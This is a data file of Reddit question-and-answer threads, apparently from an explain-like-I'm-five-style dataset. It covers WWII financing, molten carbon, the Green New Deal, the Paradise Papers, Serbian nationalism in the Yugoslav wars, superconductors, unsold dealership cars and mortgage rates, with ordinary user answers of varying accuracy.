{"q_id": "1bnr7q", "title": "To my understanding, the US was in historically poor shape economically before the WWII because of the Great Depression. So my question is, how was the US able to finance the war efforts during the WWII?", "selftext": "If the Iraq War cost several trillions of dollars, then the WWII must have cost many times more (in inflation adjusted dollars). The US had a hard time even before the war so more expenses couldn't have been easy. So where did the extra money come from?\n\nNote, I'd like more comprehensive answers than just \"by printing money\".", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1bnr7q/to_my_understanding_the_us_was_in_historically/", "answers": {"a_id": ["c98bxwn", "c98c2tg", "c98cm5x", "c98cs4n", "c98fz1f", "c98gkyi", "c9900zx"], "score": [409, 71, 4, 8, 9, 18, 3], "text": ["Well, printing money was part of it. [Note here](_URL_3_) that inflation spiked to about 10 percent a year during the war. \n\nTaxation rose to unprecedented levels, with the top income tax rising in 1945 to [95 percent](_URL_1_), against today's 35 percent. \n\nAs you can [see here](_URL_0_), government spending in real dollars shot up to an incredible level, a level it wouldn't reach again for a couple of decades when the economy was twice as big. This was financed in large part through debt. The [federal debt burden](_URL_2_) was very high during World War II - it peaked in 1945 at 115 percent of US GDP.\n\nAmericans were heavily encouraged to buy war bonds, plowing the nation's saved capital into the war effort. The removal of capital from circulation also helped to throttle inflation while war orders were ramping up the economy. These war bonds totaled about $186 billion, the majority of the government's debt during the war. They were mostly issued on a ten-year redemption schedule, and all of that money flowing back into the economy in the early 50s helped to jumpstart that decade's  consumerism. ", "By the time the Japanese attacked Pearl Harbor and the US entered the war in 1941, the USA was already recovering from the effects of the Great Depression. By 1938, the United States had already recovered to 1920 economic levels. So in a way, 3 years later when the Japanese attacked and Hitler declared war on the US, America was already financially stable. At that time, unemployment rates were still high. This was, however, improved with the war where labor was required nearly everywhere. \n\nIt would seem incredibly difficult for any country to pay the $300 billion (1940 dollars) required to fund the war. In order to finance for the war, the government took great lengths in order to reduce losses and increase the war effort. For the duration of the war, taxes were raised to 81-94%. Rationing, such as on tires, gasoline, food and clothing became prominent in order to prevent inflation. War bonds were issued in order to finance the military. Wartime production was vastly increased, as the labor force (as well as the role of women in industry) went into high demand.\n\nSo to answer your question, the US wasn't necessarily in a poor economic state, and was rather just recovering from a great loss, prepared to gain millions in the years to come. \n\n**Edit:** Forget everything I wrote. The guy above me summed it up nicely. ", "Was the United States really in that poor shape prior to WWII? ", "War bonds were critical in financing the war. War bonds were basically savings bonds but were directed strictly at the war effort. I actually spoke to my grandparents about them this past weekend. From their memories (they were in elementary school during the war) once a week all the children brought in change to buy bonds. Their classes even used cut outs of soldiers to show how many GIs they helped. The bonds were set to pay out after a certain period (mostly 20 years). While getting children involved was mostly for show, the real force of war bond drives were aimed at adults. Some of the most enduring imagery of WWII is the old war bond [posters](_URL_0_)", "One thing I would like to note about the debt that the US government incurred financing World War II efforts\n\nIt seems today people get all out of shape and hyperventilate about government debt as if is ALWAYS a bad thing\n\nConsider what government debt during World War II financed: incredible technological breakthroughs in  aeronautics industry, it essentially created the nuclear power industry from scratch, Communication  technology, radar, nylons, advances in automobiles, And on and on and on it goes\n\nAnd here's the important thing to note - those investments (that we went into massive debt for) paid off HUGE. America still has the best aeronautical industry the world thanks in large part to US deficit spending/investment during World War II. Those investments paid off Big time. They paid off in terms of economic growth and technological know-how thousands, maybe tens of thousands, maybe hundreds of thousands of times relative to the initial investment of resources\n\nSo consider that the next time somebody freaks out about spending government money on say renewable energy research or medical research\n\n", "World War II was the ultimate exercise in Keynesian economics. The fact that is worked gangbusters says a lot about the reasons Keynesian theory became the dominant economic theory of the 20th century, and it remains a very difficult thing to explain away for its opponents.", "Did I miss it or did no-one mention the huge amounts of assets that the UK paid to the US for military goods? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/4/43/Us_federal_spending%284%29.png", "http://img.photobucket.com/albums/v97/imposter222/Income_Corp_CapitalGains_Rates-650x603.png", "http://3.bp.blogspot.com/-8vM5YBSRgXQ/TrKVmdxh8bI/AAAAAAAAEmA/xf9_U_IK9Ho/s1600/US-Debt-Burden-per-Capita-1831-2011.png", "http://www.sunshineprofits.com/media/cms_page_media/2013/1/30/commentary_free_2013_01_30_4.png"], [], [], ["http://www.fulcrumgallery.com/c27053/vintage-war-bond-advertisements.htm"], [], [], []]}
{"q_id": "4osq87", "title": "Why is it that I can't seem to find any pictures of molten Carbon? Is it particularly difficult to melt Carbon?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4osq87/why_is_it_that_i_cant_seem_to_find_any_pictures/", "answers": {"a_id": ["d4fcgtn", "d4fgjv6", "d4fird8", "d4fixdt", "d4fwz71"], "score": [1856, 58, 102, 19, 6], "text": ["The triple point of carbon is at about 100 atmospheres and 4500 kelvin, so it has to be contained at pretty pressure and temperature to become liquid. Setups that can transiently melt carbon (like quickly blasting it with a laser) exist, but don't really take good pictures.\n\nThe device used to hold things at really high pressure is a diamond anvil cell, but that won't work because it's made of the thing you're trying to melt!", "First I want to point out that it's not as simple as \"melting carbon\" because carbon has many different allotropes; trying to melt diamond is not the same as trying to melt graphite.  \n\nEither way it probably comes down to how you define \"melting\" but I would argue that the carbon fullerene family can and does melt when there is sufficient curvature in the structure.  For example, here are two instances of C60 melting inside single walled carbon nanotubes (SWCNTs) and fusing together:  [one](_URL_1_) and [two](_URL_0_)\n\nIn the first link image b) shows an unfilled SWCNT, c) a SWCNT after being filled with C60 - known as a carbon peapod, d) a filled SWCNT after being heated at high temperature causing the C60 molecules to fuse together, and e) at higher temperature the C60 molecules stabilized as an entire SWCNT inside the initial SWCNT, forming a double walled CNT.  \n\nC60 and small diameter SWCNTs certainly seem to melt but the problem is that carbon can easily rehybridize to an amorphous sp3 structure, which will not melt under these conditions.  So melting will usually cause it to reorganize the structure and solidify.   \n\n", "Check out [this phase diagram](_URL_0_).  Below the pressure at the triple point where the graphite, liquid and gas phase meet there is no liquid phase, which is at about 10 megapascals, which in turn is about 100 atmospheres of pressure and 4500 Kelvin.  \n\nThese are demanding conditions to do this with a large quantity of material, and will also glow extremely hot.  I don't think it would photograph well as a result. ", "A while ago I wondered that sense if you hear anything up enough to it'll melt, can we melt wood?\n\nIt turns out that the reason it's so hard is because we don't currently have anything caliber of producing the heat and pressure needed to melt carbon. \n\nSource: _URL_0_", "Just for an idea of how temperature resistance carbon is, my current internship is making cooling equipment for steel mills and I work with mainly electric arc furnaces. The electrodes that are lowered into about 150 tons of steel will get up to 35,000 degrees. The steel gets up to 2800 degrees. This is all in the space of about 20 min to an hour, depending on how hard they are riding the equipment. These things are huge, there's nothing short of seeing it that explains how powerful they are. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://pubs.rsc.org/services/images/RSCpubs.ePlatform.Service.FreeContent.ImageService.svc/ImageService/Articleimage/2012/NR/c2nr30376k/c2nr30376k-f4.gif", "http://pubs.rsc.org/services/images/RSCpubs.ePlatform.Service.FreeContent.ImageService.svc/ImageService/Articleimage/2011/NR/c1nr10602c/c1nr10602c-f1.gif"], ["https://commons.wikimedia.org/wiki/File:Carbon_basic_phase_diagram.png"], ["http://www.yalescientific.org/2010/05/everyday-qa-can-you-melt-a-wooden-log/"], []]}
{"q_id": "bo1b2b", "title": "why did the green new deal get repealed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bo1b2b/eli5_why_did_the_green_new_deal_get_repealed/", "answers": {"a_id": ["enb9cms", "enb9s0c", "enbafym", "enbh2ck"], "score": [3, 3, 3, 3], "text": ["The Green New Deal was largely bogus. It was feel-good measures that didn't really have a chance of succeeding.\n\nThe most ludicrous by far was the ten-year timeframe for converting the entire country to 'renewable' energy. There's no way that could work without heavy reliance on traditional energy sources; there's nothing that can take up the load but nuclear, and the American people are way too gun-shy about nuclear power.", "As submitted, the Green New Deal was completely unworkable. Just the transportation parts would have cost trillions of dollars to implement and would disrupt most of the country's economy, and there was no mechanism in the bill for raising this money or offsetting these harms. It was a policy statement, not a fully crafted law, and an aspirational one at that.\n\nThat's why the Republicans put it up for vote: If it passed as written it would have been a disaster and accomplished none of its goals. And that's why Democrats didn't vote for it, they couldn't pass it as it was without breaking the country.", "Here is a link to the current/revised PDF\n _URL_1_\n\nYou are free to view it and make your own decisions if you so choose. \n\nA lot of people disliked it because it called out problems we know of but failed to provide any solutions that could be realistically implemented. \n\nThe original document, was actually shorter. Only 5 pages, and as biased as he may be, Steven Crowder does read the entirety of 'The Green New Deal' with some commentary but he keeps it to a minimum for this video. \n\n_URL_2_\n\nThe one in this video is the one that was submitted. It was later filled out to 14 pages, which is still short for a government document. It also initially involved a very socialistic comment about paying people, even if they were 'unwilling to work'. But they did remove it due to backlash. \n\n_URL_0_\n\nI honestly think that the part that most pushed people away was the 'cut all fossil fuels by 2020.' That means that over the course of the next 10 years we would all have to get electric cars, all semi's, trains, boats, and planes have to be electric, the ways to implement this was not shown and neither was the punishment for not complying, so it could have been a fine or anything they determined was suitable. To my knowledge this was also removed or at least revised. \n\nI think a better way to go about this would have been 'tax breaks for those who can prove that they eliminated their use of fossil fuels, within their power.' So that if you bought an electric car you could get a tax break. If truckers got electric semi's then tax breaks. Electric company eliminates coal power, tax break. It is better to offer a benefit to complying instead of a possible negative for not complying.", "OP.  \"Repeeled\" infers that this had become a law.  This was just a draft proposal that went no where.  10 years to guarantee 100% zero emission renewable power, replacing every power plant currently in operation (including all of the existing renewable plants) guaranteeing 100% employment, universal health care, replacing the power grids, removing all gasoline and diesel powered commercial vehicles from the roads, building high speed rail network throughout the nation...  all by 2030.\n\nQuite lofty and expensive for 10 years.  \n\nWe need to some of what was within, just we need realistic goals and a realistic timeframe"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.cnbc.com/amp/2019/02/07/ocasio-cortezs-green-new-deal-offers-economic-security-for-those-unwilling-to-work.html", "https://www.google.com/url?sa=t&amp;source=web&amp;rct=j&amp;url=https://www.congress.gov/116/bills/hres109/BILLS-116hres109ih.pdf&amp;ved=2ahUKEwiSpPjvm5jiAhVKYKwKHdM5D4MQFjAAegQIBhAB&amp;usg=AOvVaw27o69vi7gLKhxJQhSXuJsr", "https://m.youtube.com/watch?v=Vu7DQ5zxngM&amp;t=5s"], []]}
{"q_id": "7azcye", "title": "paradise papers", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7azcye/eli5_paradise_papers/", "answers": {"a_id": ["dpeal4o"], "score": [6], "text": ["Documents were received and analyzed by journalists, from secretive law firm which advises Russian oligarchs and multinational corporations on tax avoidance based in Bermuda which is a tax haven.  The files indicate co-mingling of private and foreign government funds in lucrative ventures including Commerce Secretary Ross' investment vehicle and particularly its role in restructuring transoceanic shipping firm Navigator, which Ross personally maintains a sizable and profitable stake.  \n\nNavigator is an example of Ross' pursuance of energy contracts as a means of reforming stressed assets.  Here, Navigator contracted with Russian firm Siber, one of Russia's largest energy companies.  Siber's leadership consists of characters hand-selected by Russian President Putin and Prime Minister Medvedev, including Putin's son-in-law, former KGB officer from Putin's Dresden station.  Although not directly sanctioned by the US government, officials who were under potential sanction attempted to hide ownership by transferring assets through shell corporations.  VEB, a Russian investment bank noted for geopolitically strategic investments that align with national intelligence goals important to Russian leadership and that is under sanction, also partnered in similar ventures.  This particular venture was and is very profitable for all involved although hidden from tax and transparency authorities.  As another example, PM Medvedev's friend from Uzbekistan is a major investor in Facebook and Twitter since 2011, and his ties to the Russian state were noted by US and private sector investigators.  His explanation of where his mass fortune and investment strategy comes from is murky at best, and Medvedev and Putin have decided to strategically invest in foreign tech firms.  As part of the attempted thaw in US-RU relations, Medvedev visited Facebook headquarters for example.  When the public thaw froze over, the investments and access to these tech firms (and possibly internal affairs) was not halted but obscured further through shell corporations.  These VC investments increased since 2014.\n\nRoss was not directly asked about Navigator by the Senate during confirmation although he was asked about similar investments.  He self-reported that he relinquished strategic control of the venture, but the manner he did so, by becoming a general partner, is more profitable than his previous role.  Ross is known as a oracle of turning around bankrupt assets, including the Trump brand when most US allies found the name to be costly to their ventures.  His Commerce chief of staff was previously a leader in Navigator.  Ross has a history of working with Russian business leaders, of which all successful business magnates in that country are part of or were part of the Putin administration, former employment, or family, while those out of favor have their assets or freedom seized by Russian authorities.  Jared Kushner, Trump's son in law, had his and his brother's real estate firm financially boosted by one of these oligarchs through a similar shell arrangement.  Kushner did not initially or fully disclose this arrangement and any security concerns.\n\nRoss' involvement and lack of transparency in his Russian energy venture is concerning from tax and counterintelligence stances.  The Commerce Secretary is part of the national industrial and technical security establishment, and this lack of clarity presents blackmail opportunities for foreign actors similar to other administration actors who hid disclosures from investigators and the public (see Lt Gen Flynn lying to the Vice President and the public).  Ross' spokesman claims the Commerce Secretary has now recused himself from all transoceanic shipping matters, despite Ross' continued investment in Navigator."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cp92mf", "title": "The Serbian people were specifically targeted by the Nazis and Usta\u0161e during World War II, suffering hundreds of thousands of deaths. How then did many Serbs commit acts of genocide later on the 20th Century? Why commit a crime they suffered from?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cp92mf/the_serbian_people_were_specifically_targeted_by/", "answers": {"a_id": ["ewo9as9"], "score": [29], "text": ["There is a semi-famous adage in history of genocide circles that goes: Auschwitz \u2013 or in this case Jasenovac \u2013 was not a moral reformatory. It means that just because someone both collectively and individually underwent massive amounts of discrimination and violence they will become \"cured\" of prejudices and racism. That's not how prejudice and racism works.\n\nAnd to even take a further step: While the assumption of your questions makes a lot of sense at first glance, at the same time, one could also ask something akin to \"Wouldn't having been the collective victim of an attempt at genocide actually stoke hatred towards those who tried to commit genocide and thus rather stoke hatred instead of assuaging it?\"\n\nIf you look at Serbia propaganda and media during the war in the 90s, there very much is a trend that can still be observed today and that's to legitimize violence during the war with the argument that it would prevent another Jasenovac and another Usta\u0161a getting its hands on the Serbs. By especially painting the Croats during the war as the ideological and spiritual heirs of the Usta\u0161a and by, in extension, casting the Serbs of the Yugoslav wars in the role of the Chetniks (with the problems that carried), the mass violence and attempt at genocide during WWII was conjured up by state media and propaganda not as an example to counter-act violence but as an example for why violence was necessary, justified, and just.\n\nIn fact, the return of the Chetnik as a political construct to Serbian politics was actually a pretty good indicator for when things started to fall apart and violence was being prepared on an ideological level.\n\nFirst though, a quick primer for those who are unfamiliar: Chetnik was a name that various movements in Serbia adopted at one time or another. While the name and designation indeed went back to the first Serbian uprising of the early 19th century, military formations under that name also appeared during the early 20th century, fighting Ottomans and others as well as taking part as a sort of guerilla detachment in the Balkan wars, during the first World War when Chetniks and Komitadjis waged a guerilla war against the Austro-Hungarian occupation of Serbia in 1916/17, as a veteran's organization in the first Yugoslavia in the inter-war period tied to radical Serb nationalism, as a name for a heterogeneous movement during the Axis occupation of Yugoslavia, and finally as a self-designator for a variety of irregular military formations in Serbia and the Republika Srpska during the Yugoslav wars of the early 90s.\n\nHowever, in an international context, the probably best known iteration of the Chetniks was the resistance organizations in Axis occupied Serbia during World War 2 lead by Dra\u017ea Mihailovi\u0107, a Serb officer of the Kingdom of Yugoslavia's army who had fought in the Balkan wars and the First World War.\n\nWith the German occupation in full swing from 1941 and that also entailing almost immediate mass violence perpetrated by the Croatian fascist Usta\u0161a \u2013 more on them [here](_URL_0_) and [here](_URL_1_) \u2013 it was not only the communist Partisans who staged an uprising but also the Serb-centric loyalists of the Yugoslav monarchy in the form of the Chetniks. The latter however, both due to their ideological make-up and the social structure of their movement started at one point or another collaborating with both the German and the Italian occupation to beat the communists in an internal civil war and to be able to fight the Usta\u0161a, seeing as how they were perpetrating mass violence specifically against Serbs and the Chetniks were a specifically Serb group.\n\nAnyways, the Chetniks lost the civil war and the socialist regime under Tito essentially painted them \u2013 not exactly unjustly \u2013  as fascist collaborators. They sentenced Mihalovi\u0107 to death and persecuted many of their actual and suspected members in a fashion that was often rather brutal. While this is a discussion unto itself, the pertinent consequence of that for the purpose of this discussion is that the Chetnik's role within public discourse became that of a villain opposed to the new ruling ideology of socialist Yugoslvism.\n\nWhen now in the 80s a confluence of circumstances that ranged from politics post death of Tito to the economic crisis Yugoslavia underwent to the general loss of legitimacy of older socialist narratives started to lead to Yugoslavia fraying at the edges, the Chetniks started to re-appear as positive figures in Serbian politics.\n\nOne of the most divisive issues of 1980s Yugoslavia was the question of the autonomous province of Kosovo, the territory with a majority Albanian population that wanted to be a republic of Yugoslavia of the same rank of Serbia, Croatia, Slovenia etc. In response to this in 1986 a 16-person committee of the Serbian Academy for Arts and Science published a public memorandum, the Memorandum of the Serbian Academy of Sciences and Arts, often simpliefied as the SANU Memorandum.\n\nThe SANU memorandum was highly important because it formulated some of the ideological bases of the subsequent Chetnik movement and the Serbian nationalism at large that is prevalent until this day and that was used to justify genocide in the 90s. The memo is a narrative of history that is centered around the concept of Serb victimhood. It casts the Serbs as the perpetual victims of both larger forces in the world and of the other peoples and republics within Yugoslavia and thus asserts a sharp need to look out for their own interests and to violently and militarily defend themselves and assert their rightful dominance.\n\nIt claimed that at the end of World War II, Tito deliberately weakened Serbia by dividing up the majority of Serbian territory and by dividing its territory and creating the autonomous provinces of Kosovo and Vojvodina, which was not reciprocated in the other Yugoslav republics. It further claimed \u2013 to quote \u2013 that it was time to \"...remove this historical guilt off of the Serbian people and to refute officially the claims that they had an economically privileged position between the two wars and that there would be no denying of their liberating role throughout history and their contribution in the creation of Yugoslavia....The Serbs in their history have never conquered or exploited others. Through the two world wars, they liberated themselves, and when they could, help others to liberate themselves\".\n\nBut it went even further for it asserted that even right now, in 1986, Serbs were in danger. One of its central claims is that Albanians in Kosvo are committing genocide against the Serb population there. As the authors wrote: \"The physical, political, legal, and cultural genocide of the Serbian population in Kosovo and Metohija is a worse defeat than any experienced in the liberation wars waged by Serbia from the First Serbian Uprising in 1804 to the uprising of 1941. [...] The exodus of the Serbs from Kosovo and Metohija in Socialist Yugoslavia exceeds in scope and character all earlier stages of this great persecution of the Serbian people.\"\n\nIt thus called for a complete transformation of the Yugoslav state and a mobilization of the \"moral and intellectual forces\" of Serbia to stop Serbian victimization. One of the people it mobilized was Vojislav \u0160e\u0161elj, who would later gain fame both for founding the Serbian Radical Party, being deputy prime minister from 1998 to 2000 and being a convicted war criminal. When in 1989 Slobodan Milo\u0161evi\u0107 (who had initially condemned the SANU memorandum) assumed power in the Serbian Socialist Republic and the 600 year anniversary of the battle of Kosovo came around, \u0160e\u0161elj let himself be declared the leader of a new Chetnik uprising, declaring that it was his agenda to expel all Croats, Albanians, and other \"foreign elements from holy Serbian soil\" and cleansing it of \"the last Jew, Albanian, and Croat\".\n\nSuch propaganda and reference to the Chentik movement were integral in the wars of the 90s for the mobilization of Serbs and the legitimization of violence during the wars. Milo\u0161evi\u0107 and Radovan Karad\u017ei\u0107, the president of the self-proclaimed Republika Srpska, used the subordinate Chetnik forces of \u0160e\u0161elj and others as part of their plan to expel non-Serbs and form a \"Greater Serbia\" through the use of ethnic cleansing, terror, and demoralization.\n\nAs shown above, the idea of Serbian victimization underpinned by the actual victimization of Serbs in WWII by the Usta\u0161a, the Nazis and the later persecution of their members by Yugoslav authorities did not keep them from committing violence but rather was used to urge violence against Croats, Bosniaks, Albanians and others. The reasoning went that because they had been victims of an attempted genocide it was now time to preempt that history from repeating by inflicting massive violence on others.\n\nSources:\n\n* Doris G\u00f6dl (Spring 2007): \"Challenging the Past: Serbian and Croatian Aggressor\u2014Victim Narratives\". International Journal of Sociology. 37 (1). pp. 43\u201357.\n\n* Sabrina P. Ramet (2006): The Three Yugoslavias: State-building and Legitimation, 1918-2005.\n\n* Holm Sundhaussen: Jugoslawien und seine Nachfolgestaaten 1943\u20132011. Eine ungew\u00f6hnliche Geschichte des Gew\u00f6hnlichen."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4nx0k4/should_jasenovac_be_seen_as_an_export_of_nazi/", "https://www.reddit.com/r/AskHistorians/comments/42lx80/was_the_balkan_region_during_world_war_ii_an/"]]}
{"q_id": "2xsllv", "title": "If a beam of light passed by in front of you, is there any way to detect it without intercepting it?", "selftext": "Let's say for the sake of argument that you're in the vacuum of space, and you have whatever instruments available that you might need. Now a powerful laser passes in front of you, perpendicular to your field of view. Without actually collecting any of the photons, would there be any way to tell that they had just passed right by you?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2xsllv/if_a_beam_of_light_passed_by_in_front_of_you_is/", "answers": {"a_id": ["cp3nd8f"], "score": [11], "text": ["It depends on what you mean by \"intercepting.\" If your only requirement is that you can't \"collect\" the photons, then yes. You can utilize processes that interact with the photons without absorbing them. For example, if you shine light tangential to the surface of a conductor and very very close, with sensitive enough equipment you should be able to measure an induced current in the conductor. The photons wouldn't be absorbed, but they would probably be slightly altered by the interaction.\n\nTL;DR: It is possible to detect the light in the situation you describe without absorbing the photons, but it is not possible to do so without doing something that interacts with them. This will necessarily have some effect on the photons, but it could be as small as just changing their polarity or deflecting them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1m0wd7", "title": "What is the diffenence between the Superconducting state and the Mixed state of a superconductor(Type II)?", "selftext": "So basicly the question is: What is the diffenrence between a Type II supeconductor in Superconducting state and Mixed state? Is there a difference in supeconductivity? Breaking my head on this one.\nThis graph maybe explains my question: _URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1m0wd7/what_is_the_diffenence_between_the/", "answers": {"a_id": ["cc4reu2"], "score": [2], "text": ["I can't remember the exact details but I'm going to attempt to answer this:\n\nLets first note that to remove the superconducting state there is both a critical temperature (Tc) and a critical applied magnetic field (Hc). So if I increase either of those values enough then they will break down the superconducting state in the material.\n\nDuring its superconducting state a superconductor is in a state of perfect diamagnetism - this means that all magnetic field applied to the superconductor is expelled from within the bulk of the superconductor (i must note that there is a penetration depth of magnetic field around the surfaces but lets ignore that).\n\nDuring the mixed state the magnetic field is powerful enough that it becomes energetically favourable to create pockets of magnetic flux through the superconductor as opposed to going around the superconductor. This energetically favourable condition is described by [Ginzburg Landau theory](_URL_0_). These pockets where flux is coming through the superconductor are not superconducting. I can't remember correctly but I think they generally form around impurities in the superconducting material - so an area that is less favourable for superconductivity will be  the first for a patch of magnetic flux to come through the material. As you further increase the magnetic field the more of these pockets of flux will appear until eventually you get to the point where there is no diagmagnetism and the material is no longer superconducting. \n\nEdit: To add - in a conventional superconductor generally if you increase the magnetic\n\nEdit2: The more indepth answer would probably be to look at the relationship between the coherence length and the penetration depth as described by [Ginzburg Landau theory](_URL_0_). Should explain everything you need!"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/kO6Wsjq.png?1"], "answers_urls": [["http://en.wikipedia.org/wiki/Ginzburg%E2%80%93Landau_theory"]]}
{"q_id": "2qufif", "title": "what happens to the cars that dealerships don't sell? there's no way some dealerships sell every vehicle before the next year's models ship.", "selftext": "Edit: Thanks guys! This also gives me good information about getting a future car, my '99 Rodeo isn't gonna last much longer. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qufif/eli5_what_happens_to_the_cars_that_dealerships/", "answers": {"a_id": ["cn9lyjw", "cn9ny0r", "cn9pe86", "cn9pec9", "cn9qavo", "cn9r3w9", "cn9rwgn", "cn9s77v", "cn9tvdo", "cn9vpo1", "cn9vzp6", "cn9yobu", "cna0icr", "cna4s8l"], "score": [165, 140, 7, 13, 2, 3, 2, 2, 5, 2, 4, 2, 2, 3], "text": ["They reduce the price, and keep selling them until they're gone. There's always going to be somebody willing to buy last year's model car at a discount of a couple thousand dollars. Each new year's car model is not like each new iphone model, the differences are pretty negligible, you're not missing out by buying one year old. \n\nMy dad did just this last year. In January 2014, he bought one of the last 2013 Honda Civics at the local dealership, and got a great price on it. ", "The dealership needs to sell those older model year vehicles. They'll discount them, get their sales people to push them... do whatever it takes to get them off of the lot. \n\n", "Also, dealers can sell cars to dealers outside their sales area. And there are car auctions that are \"dealers only\" if they really want to move a vehicle off the lot. They may not get as much as they originally wanted, but at least it gets sold.", "Others have offered good answers, but it is important to point out that dealers for the big 3 might just pay a lot rent for each vehicle. They don't actually own the new cars, and can choose to return them to the manufacturer where they are  usually kept in secured open fields. \n\n\nWhen I worked for a dealership the lot rent for each new car was an approximate $120/ mo for Chrysler products. This was approximately 10 years ago. ", "Sales and discount. I am a car sales executive for Peugeot in the UK. The typical show room only has around 10 brand new cars on any given site. The majority are used. New Models are dispatched and swapped between sites. When a new model comes out, the previous ones that are still awaiting dispatch tend to be sold in bulk to car supermarkets or hire car companies. Those that don't get sold are heavily discounted.You can usually get up to 30/35% off a previous new model. Some times they'll be registered as a demonstrator and sold as one owner.", "I was reading an article about these unsold car graveyards _URL_0_", "Aside from lowering the price, the interest rates are usually lower on year old models, so that appeals to a lot of people. Normally you'll have the most unpopular base models left, so you can add rims or some extra features to make the vehicle a little more appealing. Also, dealerships know how much to order and when to cut down on ordering because the next years model is coming out, so there's not normally too many older models unless the Manager sucks at ordering.", "As most have replied - they will sell them, one way or another, by constantly discounting them until they are gone. \n\nNot sure to what degree we do things differently here in Australia, but here's how it worked at the dealerships I've worked at previously. \n\nAt the beginning of each month, the manufacturer supplies their dealer network with a list of discounts, they're sorted first by vehicle model then by build month, in general the older the vehicle the greater the bonus. When the vehicle is sold, the dealer lodges a claim with the manufacturer for the bonus amount which is then reimbursed to them.  ", "We just bought a 2014 at dealer cost.  They basically decided to take no profit on the car in order to free the spot on the lot.\n\nEnd of the year is a pretty good time if you need to shop for a car.", "Check out this 1 hr PBS Doc about REAL Car Sales\n\nFunny  &  Informative\n\n_URL_0_", "So as others have said... there are discounts and such to get the cars sold.\n\nHowever there is a unique group of businesses out there that actually work with dealerships to scrap high part demand vehicles for recycling.\n\nSay you have a handful of 2014 Chargers that are rotting away on your lot because they may be weird option mixes. It's the end of the 2nd quarter of 2015 and you are just dying to get rid of these cars... well sell them to one of these companies that will dismantle the car for high value parts (exterior panels, lighting, leather, wheels, engine, etc.) for resale to yourself at a discounted rate. Now these parts are to be sold as a genuine like new part (but not brand new) and then the rest of the vehicle is recycled. \n\nSource: I did this exact job for 3 summers growing up outside of Detroit ", "Just asked my husband. He says one of three things happens to brand new cars: they keep incentivizing it until someone buys it, or they send it to another dealership, or on rare occasions the actual company will buy it back.", "I am a 10 year car sales vet.  They will sell them at some point, no matter what.  The mfcs will offer incentives but only for limited time.  Most dealers have a slush fund that they use for these situations.  Another way is to turn them into demos.  They can write off some of the depreciation then sell it; sometimes as new but usally as a used car.", "Prices drop, and the smart people buy the cars that are a few years old, but untouched."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.youtube.com/watch?v=qYpLk65rbps"], [], [], [], ["http://www.thisamericanlife.org/radio-archives/episode/513/129-cars"], [], [], [], []]}
{"q_id": "4sstg2", "title": "why is it that every-day people can not borrow money for mortgages directly off of the government at the 0.5% rate, but instead have to go through banks and pay 5 times that rate?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4sstg2/eli5_why_is_it_that_everyday_people_can_not/", "answers": {"a_id": ["d5btw48", "d5bvohk", "d5bxstt", "d5c2lfp", "d5c6ge3"], "score": [32, 8, 112, 3, 2], "text": ["The bank can (in theory) ensure that it will pay the money back in full, so that the central bank doesn't have a risk when handing out the money. But when they give money to corporations or private citizens, they always have a risk factor. If the debtor goes bankrupt, they lose the money.\n\nThink of it this way: Instead of taking a loan from a bank with a large interest rate, you take up a loan from the central bank, and buy an insurance which covers the debt if you go bankrupt. The insurance charges a rate based on the risk of you going bankrupt and takes some money for the effort on top. Since this would be a very complicated deal, you simply get charged with a high interest rate instead.\n\n\n\n", "You're mixing up central banks and commercial banks. \n\nA central bank is more of a financial regulator than an actual bank. Its the monetary policy body of a country. If I was to really simplify it, its main job is to make sure the commercial banks aren't coloring outside the lines of a stable financial system, controls how much money there is in the system and make sure your currency, GBP in your case, is at a desirable level compared to other currencies.\n\nA commercial bank is, essentially, taking deposits and turning them into loans for others. If you're taking out a loan, the bank uses my deposit to finance your loan. The central banks role in this is to influence the commercial bank's decision on the interest rate it gives you (monetary policy) as well as determine what percentage of my deposit cannot be issued out as a loan to someone else (required reserve).\n\nKeep in mind I simplified it heavily and chose to ignore stuff like multipliers etc.", "The Fed funds rate isn't the rate at which banks borrow money from the Fed, it's the rate large banks borrow money from each other overnight.\n\nBecause it's basically impossible for a large bank to default on a loan like this, the 0.5 percent rate reflects the risk free price for renting money.\n\nA regular person who's borrowing money is not even close to a risk free investment, and so they pay more for a loan.", "Because a mortgage and an overnight loan even to the same borrower, have very, very different risk profiles.  The 2% spread, covers the banks risk that you will default or inflation will destroy the profitability of the loan over its life.  Neither of those risks is small, so the premium is relatively large.  ", "It's important to point out that the US Government 30-year rate is much higher - 2.18% today. The 0.5% rate is for short term loans, and mortgage are long term.\n\nWith stellar credit and a good down payment, you can get pretty close. I think the lowest bank mortgage rate is around 3.5% right now. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
